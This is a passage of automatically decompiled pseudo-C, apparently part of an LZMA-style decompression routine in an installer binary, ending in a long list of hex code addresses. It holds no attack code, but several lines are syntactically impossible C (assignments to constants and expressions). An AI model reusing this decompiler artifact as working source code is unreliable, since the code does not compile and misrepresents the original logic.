							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406e3e
0x00406e3e
0x00406e42
0x00406ef9
0x00406efc
0x00406f08
0x00406de9
0x00406de9
0x00406dec
0x0040715e
0x0040715e
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x004071d4
0x004071d4
0x004071da
0x004071da
0x00000000
0x004071af
0x004071af
0x004071b3
0x00407362
0x00000000
0x00407362
0x004071bf
0x004071c6
0x004071ce
0x004071d1
0x00000000
0x004071d1
0x00406e48
0x00406e4c
0x0040738d
0x0040738d
0x00407390
0x00407394
0x00407394
0x00406e52
0x00406e58
0x00406e5b
0x00406e5f
0x00406e62
0x00406e66
0x0040732c
0x00407378
0x00407380
0x00407387
0x00407389
0x00000000
0x00407389
0x00406e6c
0x00406e6f
0x00406e75
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e9b
0x00406e9d
0x00406e9d
0x00406ea0
0x00406ea0
0x00406ea0
0x00406976
0x00406976
0x0040697f
0x00000000
0x00000000
0x00406985
0x00000000
0x00406990
0x00000000
0x00000000
0x00406999
0x0040699c
0x0040699f
0x004069a3
0x00000000
0x00000000
0x004069a9
0x004069ac
0x004069ae
0x004069af
0x004069b2
0x004069b4
0x004069b5
0x004069b7
0x004069ba
0x004069bf
0x004069c4
0x004069cd
0x004069e0
0x004069e3
0x004069ef
0x00406a17
0x00406a19
0x00406a27
0x00406a27
0x00406a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a1b
0x00406a1b
0x00406a1e
0x00406a1f
0x00406a1f
0x00000000
0x00406a1b
0x004069f5
0x004069fa
0x004069fa
0x00406a03
0x00406a0b
0x00406a0e
0x00000000
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00000000
0x00406a31
0x00406a31
0x00406a35
0x004072e1
0x00000000
0x004072e1
0x00406a3e
0x00406a4e
0x00406a51
0x00406a54
0x00406a54
0x00406a54
0x00406a57
0x00406a5b
0x00000000
0x00000000
0x00406a5d
0x00406a63
0x00406a8d
0x00406a93
0x00406a9a
0x00000000
0x00406a9a
0x00406a69
0x00406a6c
0x00406a71
0x00406a71
0x00406a7c
0x00406a84
0x00406a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406acc
0x00406ad2
0x00406ad5
0x00406ae2
0x00406aea
0x00000000
0x00000000
0x00406aa1
0x00406aa1
0x00406aa5
0x004072f0
0x00000000
0x004072f0
0x00406ab1
0x00406abc
0x00406abc
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00406aca
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406af2
0x00406af4
0x00406af7
0x00406b68
0x00406b6b
0x00406b6e
0x00406b75
0x00406b7f
0x00000000
0x00406b7f
0x00406af9
0x00406afd
0x00406b00
0x00406b02
0x00406b05
0x00406b08
0x00406b0a
0x00406b0d
0x00406b0f
0x00406b14
0x00406b17
